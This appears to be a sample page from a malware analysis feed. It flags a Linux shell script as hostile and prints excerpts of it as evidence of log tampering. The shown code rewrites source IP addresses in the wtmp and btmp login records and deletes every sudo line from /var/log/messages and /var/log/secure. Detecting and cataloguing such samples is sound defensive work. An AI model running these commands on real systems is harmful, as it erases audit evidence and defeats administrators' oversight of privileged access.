Hostile 92% linux Download

rewrite_auth_audit.sh

Log tampering and IP spoofing

Selectively deletes sudo authentication recordsSelectively removes privileged auth logs
SHA-256c175f06427ab014bcf5238d4d2f367542d133f97aa0550063ab4eddb21396c7a

Evidence

In-place sed deletes log lines lines 1–15
⋯4 lines
5
6for database in wtmp btmp; do
7 rebuilt="/tmp/.${database}.rebuilt"
8 utmpdump "/var/log/${database}" |
9 sed "s/${target_address}/${replacement_address}/g" |
10 utmpdump -r > "${rebuilt}"
11 mv "${rebuilt}" "/var/log/${database}"
12done
13
14sed -i '/sudo/d' /var/log/messages
15sed -i '/sudo/d' /var/log/secure

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.